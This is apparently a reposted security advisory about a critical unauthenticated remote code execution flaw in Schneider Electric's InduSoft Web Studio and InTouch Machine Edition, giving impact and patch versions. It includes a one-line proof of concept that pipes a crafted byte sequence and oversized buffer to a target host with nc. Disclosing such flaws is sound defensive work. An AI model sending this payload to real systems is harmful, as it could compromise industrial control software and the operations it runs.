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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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What do you need to know? Tenable Research has discovered a critical remote code execution vulnerability in Schneider Electric’s InduSoft Web Studio and InTouch Machine Edition.    

What's the attack vector? The vulnerability can be remotely exploited without authentication to execute arbitrary commands on the target system.    

What's the business impact? A malicious threat actor can completely compromise and gain control of the system, and use it as a pivot point to execute lateral transfer.    

What's the solution? Schneider Electric has released InduSoft Web Studio v8.1 SP1 and InTouch Machine Edition 2017 v8.1 SP1 to address this vulnerability. Affected users should apply the patches ASAP.



The following is a proof of concept:

cat <(echo -ne '\x02\x57\x03\x02\x32'`python -c 'print "A"*0x500'`'\x09\x0a\x03') - | nc <target_host> 1234

More information: https://www.tenable.com/blog/tenable-research-advisory-critical-schneider-electric-indusoft-web-studio-and-intouch-machine